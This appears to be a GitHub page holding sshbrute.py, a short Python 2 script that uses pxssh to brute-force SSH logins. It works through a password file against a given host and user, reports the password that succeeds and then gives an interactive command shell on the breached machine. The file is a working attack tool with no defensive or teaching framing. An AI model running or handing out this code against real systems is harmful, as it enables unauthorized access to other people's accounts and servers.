-
Notifications
You must be signed in to change notification settings - Fork 0
/
sshbrute.py
52 lines (47 loc) · 1.68 KB
/
sshbrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import pxssh
import argparse
import time
def connect(host, user, password):
Fails = 0
try:
s = pxssh.pxssh()
s.login(host, user, password)
print('Password Found: ' + password)
return s
except Exception as e:
if Fails > 5:
print('!!! Too Many Socket Timeouts!')
exit(0)
elif 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
return connect(host, user, password)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
return connect(host, user, password)
return None
def Main():
parser = argparse.ArgumentParser()
parser.add_argument('host', help='Specify Target Host')
parser.add_argument('user', help='Specify Target User')
parser.add_argument('file', help='Specify Password File')
args = parser.parse_args()
if args.host and args.user and args.file:
with open(args.file, 'r') as infile:
for line in infile:
password = line.strip('\r\n')
print('Testing: ' + str(password))
con = connect(args.host, args.user, password)
if con:
print ('[SSH Connect, Issue Commands (q or Q) to quit]')
command = raw_input('>')
while command != 'q' and command != 'Q':
con.sendline(command)
con.prompt()
print (con.before)
command = raw_input('>')
else:
print (parser.usage)
exit(0)
if __name__ == '__main__':
Main()